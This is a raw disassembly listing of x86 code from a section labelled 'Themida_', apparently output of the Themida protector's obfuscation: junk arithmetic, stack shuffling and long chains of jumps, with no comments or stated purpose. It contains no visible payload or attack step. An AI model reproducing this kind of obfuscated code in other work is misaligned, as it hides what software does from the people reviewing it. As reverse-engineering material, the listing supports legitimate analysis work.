loc_58548E: ; CODE XREF: sub_584787+7128j
add edi, 1FFC0C3Eh
add edi, ebx
sub edi, 1FFC0C3Eh
push ebp
mov ebp, 49AE2386h
sub edi, ebp
mov ebp, [esp+30h+var_30]
add esp, 4
mov ebx, [esp+2Ch+var_2C]
add esp, 4
add edi, esi
sub edi, 2C975282h
pop esi
add edi, 2
xchg edi, [esp+24h+var_26+2]
jmp loc_58E5DD
; ---------------------------------------------------------------------------
loc_5854C7: ; CODE XREF: sub_584787+655Bj
pop edx
sub bl, al
jmp loc_5858C7
; ---------------------------------------------------------------------------
loc_5854CF: ; CODE XREF: sub_584787+2A17j
sub ecx, 2663767h
push ebx
mov ebx, 63CD4EAEh
sub ecx, ebx
pop ebx
push ebp
mov ebp, 2C87098Eh
jmp loc_58E045
; ---------------------------------------------------------------------------
loc_5854E9: ; CODE XREF: sub_584787+1C0Dj
and edi, esi
pop esi
add edi, 1B962791h
and edx, edi
jmp loc_5848BD
; ---------------------------------------------------------------------------
loc_5854F9: ; CODE XREF: sub_584787+77D8j
sub esp, 4
mov [esp+24h+var_26+2], ebx
mov bl, 4Dh
jmp loc_58F0A2
; ---------------------------------------------------------------------------
loc_585509: ; CODE XREF: sub_584787+5361j
mov edx, [esp+24h+var_26+2]
add esp, 4
pop [esp+20h+var_20]
mov esp, [esp+1Ch+var_1C]
mov [esp+1Ch+var_1C], ebx
push 5103h
mov [esp+20h+var_20], ebp
sub esp, 4
mov [esp+24h+var_26+2], edi
push edx
mov edx, eax
push ebp
mov ebp, edx
mov edi, ebp
pop ebp
mov edx, [esp+0]
add esp, 4
mov ebp, edi
mov edi, [esp+24h+var_26+2]
jmp loc_58D31A
; ---------------------------------------------------------------------------
loc_585545: ; CODE XREF: sub_584787+556j
and edi, 675E17A2h
shl edi, 4
add edi, 64F70ED7h
xor edi, 0D95856F3h
push edx
mov edx, edi
mov eax, edx
pop edx
pop edi
push ebx
mov ebx, 7857642Ah
shl ebx, 5
jmp loc_58EAE7
; ---------------------------------------------------------------------------
loc_58556F: ; CODE XREF: sub_584787+8187j
pop esp
mov [esp+4+var_4], ebp
push dword ptr [esp+4]
mov ebp, [esp+8+var_8]
add esp, 4
jmp loc_584649
; ---------------------------------------------------------------------------
loc_585582: ; CODE XREF: sub_584787+794Fj
mov [esp+4+var_4], eax
xchg ebx, [esp+4+var_4]
push ebx
jmp loc_58C58F
; ---------------------------------------------------------------------------
loc_58558E: ; CODE XREF: sub_584787+206Aj
or eax, 2CB12276h
or eax, 7D066E47h
xor eax, 7FBF7F7Bh
jmp loc_58D4B6
; ---------------------------------------------------------------------------
loc_5855A2: ; CODE XREF: sub_5900ED-ABj
add ecx, 74DB40B4h
add ecx, ebx
sub ecx, 74DB40B4h
push [esp+8+var_8]
pop ebx
add esp, 4
add ecx, 2
jmp loc_586AD8
; ---------------------------------------------------------------------------
loc_5855BF: ; CODE XREF: sub_584787+5E86j
mov ebp, 16BD021Eh
add edi, ebp
pop ebp
xor edi, 62F545E6h
add edi, 0BB0BF8ACh
add eax, edi
jmp loc_588599
; ---------------------------------------------------------------------------
loc_5855DA: ; CODE XREF: sub_584787-143j
pop ebx
push ebp
mov ebp, 2
add edx, ebp
pop ebp
xchg edx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
btc word ptr [esp-0Ch+arg_8], ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5855F5: ; CODE XREF: sub_584787+329Cj
mov bh, 17h
mov dh, bh
pop ebx
or ch, dh
mov edx, [esp-0Ch+arg_8]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_5871A3
; ---------------------------------------------------------------------------
loc_585615: ; CODE XREF: sub_584787+1CC1j
not [esp-4+arg_0]
pop edx
xor eax, edx
xor edx, eax
xor eax, edx
jmp loc_5896DE
; ---------------------------------------------------------------------------
loc_585624: ; CODE XREF: sub_584787+A211j
inc ebx
push edx
mov edx, 5DFA0032h
dec edx
sub edx, 5264B7CCh
xor ebx, edx
pop edx
and ecx, ebx
pop ebx
add ecx, 15FD708Dh
mov edi, ecx
mov ecx, [esp-0Ch+arg_8]
add esp, 4
jmp loc_58B49B
; ---------------------------------------------------------------------------
loc_58564B: ; CODE XREF: sub_584787+3F9Fj
xor [esp+0], edx
pop eax
push ebx
jmp loc_58DE4D
; ---------------------------------------------------------------------------
loc_585655: ; CODE XREF: sub_584787+9A68j
mov ebx, 5D9A0FB9h
xor ecx, ebx
pop ebx
sub edx, 12136975h
add edx, ecx
add edx, 12136975h
pop ecx
jmp loc_58F0E3
; ---------------------------------------------------------------------------
loc_585671: ; CODE XREF: sub_584787+90F1j
mov [esp-18h+arg_12+2], eax
mov eax, esp
sub esp, 4
jmp loc_58DDE2
; ---------------------------------------------------------------------------
loc_58567E: ; CODE XREF: sub_584787+A8CEj
add ecx, esi
pop esi
sub ecx, 4
push 7424h
mov [esp-14h+arg_E+2], ecx
push [esp-14h+arg_12+2]
jmp loc_58CD50
; ---------------------------------------------------------------------------
loc_585695: ; CODE XREF: sub_584787+B9E4j
push esi
push dword ptr [esp+4]
jmp loc_58F401
; ---------------------------------------------------------------------------
loc_58569F: ; CODE XREF: sub_584787+9F70j
push esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 4
jmp loc_584D9B
; ---------------------------------------------------------------------------
loc_5856B3: ; CODE XREF: sub_584787+6E0j
push 4090524Fh
jmp loc_586185
; ---------------------------------------------------------------------------
loc_5856BD: ; CODE XREF: sub_584787+BD00j
push esi
mov esi, esp
add esi, 4
jmp loc_58B1C6
; ---------------------------------------------------------------------------
loc_5856CB: ; CODE XREF: sub_584787+5357j
pop ebp
sub esi, 2
xor esi, [esp+30h+var_30]
xor [esp+30h+var_30], esi
xor esi, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
mov word ptr [esp+30h+var_30], cx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5856E7: ; CODE XREF: sub_584787+371j
add esi, 4
xchg esi, [esp+18h+var_18]
pop esp
shr ecx, 0
or eax, eax
jz loc_586A66
push 13CCh
jmp loc_58B9B4
; ---------------------------------------------------------------------------
loc_585706: ; CODE XREF: sub_584787+3BF6j
push edx
mov edx, 619D3B16h
add [esp+1Ch+var_14], edx
pop edx
sub [esp+18h+var_14], edi
sub [esp+18h+var_14], 619D3B16h
mov edi, [esp+18h+var_18]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_58D639
; ---------------------------------------------------------------------------
loc_585731: ; CODE XREF: sub_584787+34EDj
add ebx, 4
xchg ebx, [esp+1Ch+var_1C]
pop esp
xor ebx, [esp+18h+var_18]
xor [esp+18h+var_18], ebx
xor ebx, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
cmp ecx, eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58574C: ; CODE XREF: sub_584787+2B55j
push eax
jmp loc_58C4B3
; ---------------------------------------------------------------------------
loc_585752: ; CODE XREF: sub_584787+5648j
push 7F13h
mov [esp+24h+var_26+2], esi
push ebp
jmp loc_584EC6
; ---------------------------------------------------------------------------
loc_585760: ; CODE XREF: sub_584787+5077j
pop ebx
push edx
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp+24h+var_26+2]
jmp loc_58F8CE
; ---------------------------------------------------------------------------
loc_585772: ; DATA XREF: Themida_:005842CCo
mov ecx, [esp+24h+var_26+2]
jmp loc_5893AA
; ---------------------------------------------------------------------------
loc_58577A: ; CODE XREF: sub_584787+3F0j
mov ebp, [esp+14h+var_14]
add esp, 4
mov edx, edi
push [esp+10h+var_10]
pop edi
add esp, 4
and eax, edx
jmp loc_588D4E
; ---------------------------------------------------------------------------
loc_585793: ; CODE XREF: sub_584787+620Cj
push 4DE0h
jmp loc_58A1C3
; ---------------------------------------------------------------------------
loc_58579D: ; CODE XREF: sub_584787+6C4Dj
push edx
mov edx, 4D1362A7h
add edx, 0FFFFFFFFh
add edx, 0FDC30B76h
sub esi, edx
pop edx
sub esi, 0A28462Eh
push 0
push [esp+14h+var_14]
push [esp+18h+var_18]
pop ebx
push eax
mov eax, esp
add eax, 4
jmp loc_58EE1D
; ---------------------------------------------------------------------------
loc_5857CE: ; CODE XREF: sub_584787+A5F1j
mov cl, 2Ah
sub cl, 0DEh
jmp loc_58FF49
; ---------------------------------------------------------------------------
loc_5857D8: ; CODE XREF: sub_584787+47CFj
pop ebx
push ebp
jmp loc_584820
; ---------------------------------------------------------------------------
loc_5857DF: ; CODE XREF: sub_584787+BFD2j
mov cl, 0ABh
sub cl, 0BFh
sub cl, ah
add cl, 0BFh
mov eax, [esp+1Ch+var_1C]
jmp loc_58C3A3
; ---------------------------------------------------------------------------
loc_5857F1: ; CODE XREF: sub_584787+67C9j
mov eax, ecx
jmp loc_5873FF
; ---------------------------------------------------------------------------
loc_5857F8: ; CODE XREF: sub_584787+18B1j
push 430Eh
mov [esp+20h+var_20], ebp
mov ebp, 497C61D1h
shr ebp, 8
add ebp, 0FFB6839Eh
mov esi, ebp
pop ebp
sub [edi+24h], esi
push [esp+1Ch+var_1C]
jmp loc_58C8DE
; ---------------------------------------------------------------------------
loc_58581C: ; CODE XREF: sub_584787+12E9j
sub edx, 58511DB2h
pop ebp
jmp loc_587E02
; ---------------------------------------------------------------------------
loc_585828: ; CODE XREF: sub_584787+57F1j
or ebp, 401736DEh
jmp loc_58A255
; ---------------------------------------------------------------------------
loc_585833: ; CODE XREF: sub_584787+B86Bj
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+1Ch+var_1C]
pop esp
xchg ebx, [esp+18h+var_18]
pop esp
push ebp
push eax
sub esp, 4
mov [esp+20h+var_20], edi
push 6074036Ah
jmp loc_585C82
; ---------------------------------------------------------------------------
dw 2489h
; ---------------------------------------------------------------------------
and al, 53h
mov ebx, 4
add [esp+24h+var_20], ebx
pop ebx
jmp loc_5849FA
; ---------------------------------------------------------------------------
loc_58586D: ; CODE XREF: sub_584787+B0E2j
sub eax, edi
add eax, 1D2743B7h
push edi
mov edi, 52DE5480h
sub eax, edi
pop edi
add eax, 47BD0248h
pop edi
push edx
push 4E262325h
jmp loc_5906E4
; ---------------------------------------------------------------------------
loc_58588E: ; CODE XREF: sub_584787+AB7Ej
xchg ch, ah
dec ch
xchg ch, ah
jmp loc_58CC56
; ---------------------------------------------------------------------------
loc_585899: ; CODE XREF: sub_584787+3628j
add esi, 7DD6419Bh
or esi, 12DF29A2h
push edi
push ecx
mov ecx, 63BA4F19h
neg ecx
not ecx
inc ecx
jmp loc_58EA7E
; ---------------------------------------------------------------------------
loc_5858B6: ; CODE XREF: sub_584787+5769j
add eax, ebx
pop ebx
sub esp, 4
mov [esp+2Ch+var_2C], eax
jmp loc_58F633
; ---------------------------------------------------------------------------
loc_5858C7: ; CODE XREF: sub_584787+D43j
push cx
jmp loc_58A671
; ---------------------------------------------------------------------------
loc_5858CE: ; CODE XREF: sub_584787+92ADj
pop eax
jmp loc_58B43F
; ---------------------------------------------------------------------------
loc_5858D4: ; CODE XREF: sub_584787+6010j
sub edi, 3EE3167Fh
or edi, 5C67560h
xor edi, 0DDFFF4Ah
mov eax, edi
pop edi
jmp loc_5875D9
; ---------------------------------------------------------------------------
loc_5858EE: ; CODE XREF: sub_584787+5631j
add esp, 4
jmp loc_58C635
; ---------------------------------------------------------------------------
loc_5858F9: ; CODE XREF: sub_584787+143Fj
mov [esp+16h+var_18+2], eax
jmp loc_58CC0B
; ---------------------------------------------------------------------------
loc_585901: ; CODE XREF: sub_584787+9874j
push eax
push 72DA4051h
pop eax
sub eax, 39D100A9h
jmp loc_58BB26
; ---------------------------------------------------------------------------
loc_585912: ; DATA XREF: Themida_:00584318o
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp+16h+var_18+2], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_585920: ; CODE XREF: sub_584787-12Aj
add edx, 1B332B08h
push dword ptr [esp+0]
pop ecx
add esp, 4
xchg edx, [esp-14h+arg_E+2]
pop esp
or eax, eax
jz loc_587BF9
push dword ptr [edi+1Ch]
push ebp
mov ebp, 59274AD2h
push ebp
push ecx
jmp loc_586B35
; ---------------------------------------------------------------------------
loc_585949: ; CODE XREF: sub_584787+4196j
mov ebx, esp
jmp loc_5877DF
; ---------------------------------------------------------------------------
loc_585950: ; CODE XREF: sub_584787+8ED8j
pop esi
push esi
mov esi, 4
add edx, 3C787FECh
add edx, esi
sub edx, 3C787FECh
pop esi
xor edx, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], edx
jmp loc_58CD30
; ---------------------------------------------------------------------------
loc_585971: ; CODE XREF: sub_584787+492Ej
neg bh
shr bh, 4
shr bh, 8
add bh, 67h
shr bh, 2
push edx
jmp loc_58F678
; ---------------------------------------------------------------------------
loc_585985: ; CODE XREF: sub_584787+1EECj
pop edx
push eax
mov al, ch
jmp loc_5865A5
; ---------------------------------------------------------------------------
loc_58598E: ; CODE XREF: sub_584787+6541j
mov ebx, eax
pop eax
mov esi, 76587219h
sub esi, ebx
pop ebx
add ebx, esi
pop esi
add ebx, 4
xor ebx, [esp-14h+arg_E+2]
xor [esp-14h+arg_E+2], ebx
xor ebx, [esp-14h+arg_E+2]
mov esp, [esp-14h+arg_E+2]
jmp loc_58E94B
; ---------------------------------------------------------------------------
loc_5859B0: ; CODE XREF: sub_584787+188Bj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_5859B5: ; CODE XREF: sub_584787+93E8j
add edi, ebp
pop ebp
push 2331h
mov [esp-14h+arg_E+2], ebx
mov ebx, 2
add edi, ebx
pop ebx
xor edi, [esp-18h+arg_12+2]
xor [esp-18h+arg_12+2], edi
jmp loc_58B9C8
; ---------------------------------------------------------------------------
loc_5859D3: ; CODE XREF: sub_584787+682Ej
pop esp
mov ax, word ptr [esp-1Ch+arg_18]
push ebp
mov ebp, esp
jmp loc_588BAE
; ---------------------------------------------------------------------------
loc_5859E0: ; CODE XREF: sub_59006F+1Aj
push 7BB4h
mov [esp-14h+arg_E+2], edi
mov edi, 5B8220D7h
not edi
push edx
mov edx, 7D782589h
push esi
mov esi, 0D905FAA5h
xor edx, esi
pop esi
xor edi, edx
mov edx, [esp+0]
jmp loc_58DC38
; ---------------------------------------------------------------------------
loc_585A08: ; CODE XREF: sub_584787+8122j
pop esp
mov [esp-14h+arg_E+2], edx
push [esp-14h+arg_12+2]
pop edx
jmp loc_58DD6C
; ---------------------------------------------------------------------------
loc_585A16: ; CODE XREF: sub_584787+65FFj
push edx
jmp loc_5872EE
; ---------------------------------------------------------------------------
loc_585A1C: ; CODE XREF: sub_584787+55B1j
pop ebp
add ebp, 4
jmp loc_58C09D
; ---------------------------------------------------------------------------
loc_585A28: ; CODE XREF: sub_584787+4322j
and eax, edx
jmp loc_58544F
; ---------------------------------------------------------------------------
loc_585A2F: ; DATA XREF: Themida_:0058430Co
mov cx, word ptr [esp-14h+arg_E+2]
push 4B21h
mov [esp+0], ebx
sub esp, 4
push 27h
jmp loc_589D42
; ---------------------------------------------------------------------------
loc_585A4B: ; CODE XREF: sub_584787+50EDj
and byte ptr [esp-8+arg_4], al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_585A54: ; CODE XREF: sub_584787+3494j
mov edx, 48720EA0h
and edx, 402D7434h
push ebp
mov ebp, 0EA80E75Ah
push ecx
mov ecx, 58511DB2h
add edx, ecx
pop ecx
sub edx, ebp
jmp loc_58581C
; ---------------------------------------------------------------------------
loc_585A75: ; CODE XREF: sub_584787+4E92j
add esi, edx
pop edx
xor esi, [esp-4+arg_0]
xor [esp-4+arg_0], esi
xor esi, [esp-4+arg_0]
pop esp
or ebx, ebx
jnz loc_58B9DB
push 48h
mov [esp-4+arg_0], edx
push edi
mov edi, 4F41489Dh
sub edi, 0FED1269Eh
add [esp+arg_0], edi
push dword ptr [esp+0]
push [esp+4+var_4]
pop edi
push edx
mov edx, esp
add edx, 4
jmp loc_58C818
; ---------------------------------------------------------------------------
loc_585AB7: ; CODE XREF: sub_584787+BBA3j
mov [esp+8+var_8], ebx
push esp
mov ebx, [esp+0Ch+var_C]
add esp, 4
push 3E5Ch
mov [esp+0Ch+var_C], edi
mov edi, 547C71C8h
not edi
xor edi, 0AB838E33h
jmp loc_5894D1
; ---------------------------------------------------------------------------
loc_585ADB: ; CODE XREF: sub_584787+6F31j
mov ebp, esi
jmp loc_58889E
; ---------------------------------------------------------------------------
loc_585AE2: ; CODE XREF: sub_584787+6BF6j
add esp, 4
jmp loc_584D36
; ---------------------------------------------------------------------------
loc_585AEA: ; CODE XREF: sub_584787+B629j
push [esp+8+var_4]
pop ecx
pop [esp+8+var_8]
pop esp
jmp loc_584507
; ---------------------------------------------------------------------------
loc_585AF8: ; CODE XREF: sub_584787+D8j
neg cl
sub cl, 4Ah
shr cl, 5
push eax
mov ah, 71h
xor ah, 58h
xchg dl, ah
push edx
jmp loc_58F2F9
; ---------------------------------------------------------------------------
loc_585B0E: ; CODE XREF: sub_584787+18D3j
push [esp+20h+var_1C]
pop ebp
pop [esp+20h+var_20]
pop esp
mov [esp+18h+var_18], ecx
jmp loc_58E21A
; ---------------------------------------------------------------------------
loc_585B1F: ; CODE XREF: sub_584787+7C41j
sub ebp, 0FFFFFFFFh
jmp loc_5852BD
; ---------------------------------------------------------------------------
loc_585B27: ; CODE XREF: sub_584787+1A4Cj
sub ebx, eax
push edx
mov edx, 65E80F92h
jmp loc_5885A6
; ---------------------------------------------------------------------------
loc_585B34: ; CODE XREF: sub_584787+A75Cj
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp+20h+var_20]
add esp, 4
sub eax, 4
xor eax, [esp+1Ch+var_1C]
jmp loc_58FF1F
; ---------------------------------------------------------------------------
loc_585B4F: ; CODE XREF: sub_584787-15Cj
mov edx, [esp+4+var_4]
push edx
jmp loc_58882E
; ---------------------------------------------------------------------------
loc_585B58: ; CODE XREF: sub_584787+AFCCj
pop eax
pop ebp
pop ecx
jmp loc_586169
; ---------------------------------------------------------------------------
loc_585B60: ; CODE XREF: sub_584787+2491j
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_585B66: ; CODE XREF: sub_584787+B1D4j
xor ecx, esi
mov esi, [esp-8+arg_4]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp-4+arg_0]
pop esp
push ebx
sub esp, 4
mov [esp+0], ebp
mov ebp, 40h
jmp loc_585F6F
; ---------------------------------------------------------------------------
loc_585B8F: ; CODE XREF: sub_584787+3160j
push ebx
push 4
pop ebx
add edi, 2C7A1BBAh
jmp loc_58CE53
; ---------------------------------------------------------------------------
loc_585BA1: ; CODE XREF: sub_584787+3D78j
sub ebp, 4
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
jmp loc_58493F
; ---------------------------------------------------------------------------
loc_585BAF: ; CODE XREF: sub_584787+40BDj
sub bl, dl
sub bl, 41h
mov edx, [esp+4+var_4]
add esp, 4
movzx eax, al
mov dx, [esp+0]
push 0A24h
jmp loc_5858F9
; ---------------------------------------------------------------------------
loc_585BCB: ; CODE XREF: sub_584787+19Fj
inc edx
jmp loc_58EB90
; ---------------------------------------------------------------------------
loc_585BD1: ; CODE XREF: sub_584787+A192j
push ebx
jmp loc_58E2C9
; ---------------------------------------------------------------------------
loc_585BD7: ; CODE XREF: sub_584787+363j
add ebx, 152C21ACh
pop ebp
add ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
or edx, eax
shl edx, 1
push 5357h
jmp loc_58B41C
; ---------------------------------------------------------------------------
loc_585BF3: ; CODE XREF: sub_584787+B31j
sub ebx, 505E53C1h
add ebp, ebx
jmp loc_58CF1F
; ---------------------------------------------------------------------------
loc_585C00: ; CODE XREF: sub_584787+17E3j
sub ebp, 32C15CCh
jmp loc_58985F
; ---------------------------------------------------------------------------
loc_585C0B: ; CODE XREF: sub_584787+5C05j
push edi
jmp sub_58FB5B
; ---------------------------------------------------------------------------
loc_585C11: ; CODE XREF: sub_584787+B553j
xor dh, 0F0h
sub dh, 98h
push cx
push ebx
jmp loc_589778
; ---------------------------------------------------------------------------
loc_585C1F: ; CODE XREF: sub_584787+3724j
sub ebx, ecx
mov ecx, ebx
pop ebx
push eax
jmp loc_58CE1A
; ---------------------------------------------------------------------------
loc_585C2A: ; CODE XREF: sub_584787+19EDj
mov [esp+54h+var_54], edi
push ecx
mov ecx, 7E254C5Fh
push ecx
push ebp
push 2F5E5E48h
mov ebp, [esp+0]
add esp, 4
xor [esp+60h+var_5C], ebp
pop ebp
pop edi
xor edi, 2F5E5E48h
pop ecx
and edi, 664D1355h
xor edi, 0A061EFh
push esi
mov esi, 995AA646h
add edi, 6875611Bh
sub edi, 78482AEFh
add edi, esi
add edi, 78482AEFh
sub edi, 6875611Bh
pop esi
jmp loc_58E008
; ---------------------------------------------------------------------------
loc_585C82: ; CODE XREF: sub_584787+10CEj
pop edi
xor edi, 6074036Bh
push edi
pop eax
pop edi
jmp loc_588392
; ---------------------------------------------------------------------------
loc_585C91: ; CODE XREF: sub_584787+63E5j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_585C96: ; CODE XREF: sub_584787+5B13j
shr ecx, 4
sub ecx, 0FFFFFFFFh
sub ecx, 4F75062h
sub ebx, 3BE6FDEh
jmp loc_58B1B1
; ---------------------------------------------------------------------------
loc_585CAD: ; CODE XREF: sub_584787+8D5j
mov ecx, esp
push edx
push ebx
mov ebx, 33196A56h
jmp loc_587C5C
; ---------------------------------------------------------------------------
loc_585CBB: ; CODE XREF: sub_584787+9656j
add edx, ebx
mov ebx, [esp+0]
jmp loc_58E5E3
; ---------------------------------------------------------------------------
loc_585CC5: ; DATA XREF: Themida_:005841B8o
push dword ptr [esp+0]
push [esp+2Ch+var_2C]
pop eax
push 5199h
mov [esp+30h+var_30], esi
push 234Ah
jmp loc_585FE5
; ---------------------------------------------------------------------------
loc_585CDE: ; CODE XREF: sub_584787+69Aj
add ecx, ebx
sub ecx, 65B13017h
pop ebx
xchg ecx, [esp+10h+var_10]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_585CF0: ; CODE XREF: sub_584787-16Cj
pop [esp+4+var_4]
pop esp
and eax, esi
mov esi, [esp-4+arg_0]
jmp loc_58BF64
; ---------------------------------------------------------------------------
loc_585CFE: ; CODE XREF: sub_584787+A091j
mov edx, 4
add edi, edx
pop edx
add edi, 4
xor edi, [esp-8+arg_4]
xor [esp-8+arg_4], edi
xor edi, [esp-8+arg_4]
pop esp
push ecx
jmp loc_587673
; ---------------------------------------------------------------------------
loc_585D1C: ; DATA XREF: Themida_:005841F8o
mov cx, word ptr [esp-8+arg_4]
jmp sub_5901FD
; ---------------------------------------------------------------------------
loc_585D25: ; CODE XREF: sub_584787+3599j
mov edx, edi
mov ebp, edx
mov edx, [esp-8+arg_4]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-4+arg_0]
pop esp
mov edi, [esp-8+arg_4]
add esp, 4
and eax, ebp
mov ebp, [esp-0Ch+arg_8]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
jmp loc_586FF6
; ---------------------------------------------------------------------------
loc_585D61: ; CODE XREF: sub_584787+6DFFj
mov ebp, 49FF6F22h
xor ebp, 48961ABCh
xor ebp, 34713E08h
jmp loc_58B2D5
; ---------------------------------------------------------------------------
loc_585D77: ; CODE XREF: sub_584787+1D1Aj
add esi, 7D9859DFh
add esi, edi
jmp loc_58DA39
; ---------------------------------------------------------------------------
loc_585D84: ; CODE XREF: sub_584787+339Bj
mov [esp-8+arg_4], ebx
jmp loc_586C3B
; ---------------------------------------------------------------------------
loc_585D8C: ; CODE XREF: sub_584787+8C96j
inc edi
push ebx
jmp loc_588EF6
; ---------------------------------------------------------------------------
loc_585D93: ; CODE XREF: sub_584787+61DBj
neg esi
sub esi, 0AE4372A5h
shr esi, 3
add esi, 15767F34h
add ecx, esi
pop esi
add ecx, 47CAA29Ah
sub ebp, ecx
pop ecx
jmp loc_59012B
; ---------------------------------------------------------------------------
loc_585DB5: ; CODE XREF: sub_584787+3826j
push eax
sub esp, 4
jmp loc_588454
; ---------------------------------------------------------------------------
loc_585DBE: ; DATA XREF: Themida_:0058440Co
mov ax, word ptr [esp-4+arg_0]
push ebp
push esp
pop ebp
push 4E4h
mov [esp+4+var_4], edx
mov edx, 424242D4h
sub edx, 41237C18h
not edx
add edx, 11EC6C1h
jmp loc_58EF2A
; ---------------------------------------------------------------------------
loc_585DE5: ; CODE XREF: sub_584787+3B8Fj
mov ecx, [esp+4+var_4]
push 4F22h
mov [esp+8+var_8], ebp
jmp loc_58BDF4
; ---------------------------------------------------------------------------
loc_585DF5: ; CODE XREF: sub_584787+20DBj
add edx, ebp
pop ebp
sub edx, eax
push ebx
push 51EF119Ch
pop ebx
sub edx, 516F342Dh
sub edx, ebx
push eax
mov eax, 516F342Dh
add edx, eax
pop eax
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
add esp, 4
push eax
push esp
pop eax
add eax, 4
add eax, 4
jmp loc_586C0F
; ---------------------------------------------------------------------------
loc_585E2B: ; CODE XREF: sub_584787+B183j
push edi
mov edi, 4287536Bh
xor edi, 31517BB7h
and eax, edi
pop edi
neg eax
push 13E5h
mov [esp+10h+var_10], esi
jmp loc_5881F9
; ---------------------------------------------------------------------------
loc_585E49: ; CODE XREF: sub_584787+2B18j
xor [esp+10h+var_10], eax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_585E52: ; CODE XREF: sub_584787+850Aj
add esp, 4
jmp loc_58BFEE
; ---------------------------------------------------------------------------
loc_585E5A: ; CODE XREF: sub_584787+B192j
sub byte ptr [esp+10h+var_10], bh
jmp loc_58B139
; ---------------------------------------------------------------------------
loc_585E62: ; CODE XREF: sub_584787+BF5Ej
push edi
push ebx
jmp loc_58D572
; ---------------------------------------------------------------------------
loc_585E69: ; CODE XREF: sub_584787+3997j
pop ebp
push ecx
mov ecx, 0B250FB71h
push ecx
add [esp+1Ch+var_1C], 7E9C1711h
pop ebx
jmp loc_5853FE
; ---------------------------------------------------------------------------
loc_585E7E: ; CODE XREF: sub_584787+635Bj
mov ecx, 4
add ebx, ecx
mov ecx, [esp+18h+var_18]
add esp, 4
jmp loc_58A458
; ---------------------------------------------------------------------------
loc_585E93: ; CODE XREF: sub_584787+6442j
xor ebx, 0A8ABD04Bh
sub eax, ebx
jmp loc_586BCA
; ---------------------------------------------------------------------------
loc_585EA0: ; CODE XREF: sub_584787-2F4j
pop ecx
not bh
xor bh, 62h
add bh, 4Dh
or bh, 9Ch
xor bh, 87h
jmp loc_584CE2
; ---------------------------------------------------------------------------
loc_585EB4: ; CODE XREF: sub_584787+4403j
pop eax
jmp loc_588279
; ---------------------------------------------------------------------------
loc_585EBA: ; CODE XREF: sub_584787+7BD5j
pop ecx
push edi
mov edi, 22C05940h
jmp loc_588547
; ---------------------------------------------------------------------------
loc_585EC6: ; CODE XREF: sub_584787+B785j
add edx, 4A231F51h
sub edx, ebp
jmp loc_58AE69
; ---------------------------------------------------------------------------
loc_585ED3: ; CODE XREF: sub_584787+2581j
mov [esp-8+arg_4], esi
jmp loc_58F952
; ---------------------------------------------------------------------------
loc_585EDB: ; CODE XREF: sub_584787+684Dj
add ebp, 8E7B281Dh
jmp loc_58BDFD
; ---------------------------------------------------------------------------
loc_585EE6: ; CODE XREF: sub_584787+4ACEj
sub ah, 0E7h
jmp loc_58DA0E
; ---------------------------------------------------------------------------
loc_585EEE: ; CODE XREF: sub_584787+53j
pop edi
xor esi, 7EAB69DCh
add ebx, esi
pop esi
push eax
mov eax, 4
add ebx, eax
pop eax
xchg ebx, [esp+0Ah+var_C+2]
pop esp
jmp loc_58B232
; ---------------------------------------------------------------------------
loc_585F0A: ; CODE XREF: sub_584787+1947j
not edx
not edx
add edx, 0C29D9CE3h
add esi, edx
pop edx
sub ecx, 15610CCAh
add ecx, esi
add ecx, 15610CCAh
mov esi, [esp+2+var_4+2]
add esp, 4
sub esp, 4
mov [esp+2+var_4+2], ebx
jmp loc_58C726
; ---------------------------------------------------------------------------
loc_585F36: ; CODE XREF: sub_584787+4508j
xchg ecx, [esp+2+var_4+2]
pop esp
push dword ptr [esp+0]
pop eax
push 5559h
mov [esp+2+var_4+2], esi
jmp loc_58961E
; ---------------------------------------------------------------------------
loc_585F4B: ; CODE XREF: sub_584787+6108j
neg esi
xor esi, 39F7519Ah
sub esi, 0E113DA43h
add eax, esi
pop esi
pop esi
and eax, 0D8E25BAh
sub eax, 10A0586h
mov esi, eax
pop eax
jmp loc_585C00
; ---------------------------------------------------------------------------
loc_585F6F: ; CODE XREF: sub_584787+1403j
push ebp
pop ebx
pop ebp
and ecx, ebx
push [esp-4+arg_0]
pop ebx
push 0BD6h
mov [esp+0], ecx
mov ecx, esp
jmp loc_58B8E3
; ---------------------------------------------------------------------------
loc_585F87: ; CODE XREF: sub_584787+B177j
add ecx, 4
xor ecx, [esp+0]
xor [esp+0], ecx
jmp loc_58CCBA
; ---------------------------------------------------------------------------
loc_585F95: ; CODE XREF: sub_584787+4847j
push edi
jmp loc_588CD4
; ---------------------------------------------------------------------------
loc_585F9B: ; CODE XREF: sub_584787+2AFCj
add bl, 0C3h
pop eax
jmp loc_58B772
; ---------------------------------------------------------------------------
loc_585FA4: ; CODE XREF: sub_584787+2E8Ej
sub [esp+arg_0], eax
mov eax, [esp+0]
add esp, 4
push [esp-4+arg_0]
pop eax
add esp, 4
add eax, 6DB31AF8h
movzx ax, byte ptr [eax]
jmp sub_5900B2
; ---------------------------------------------------------------------------
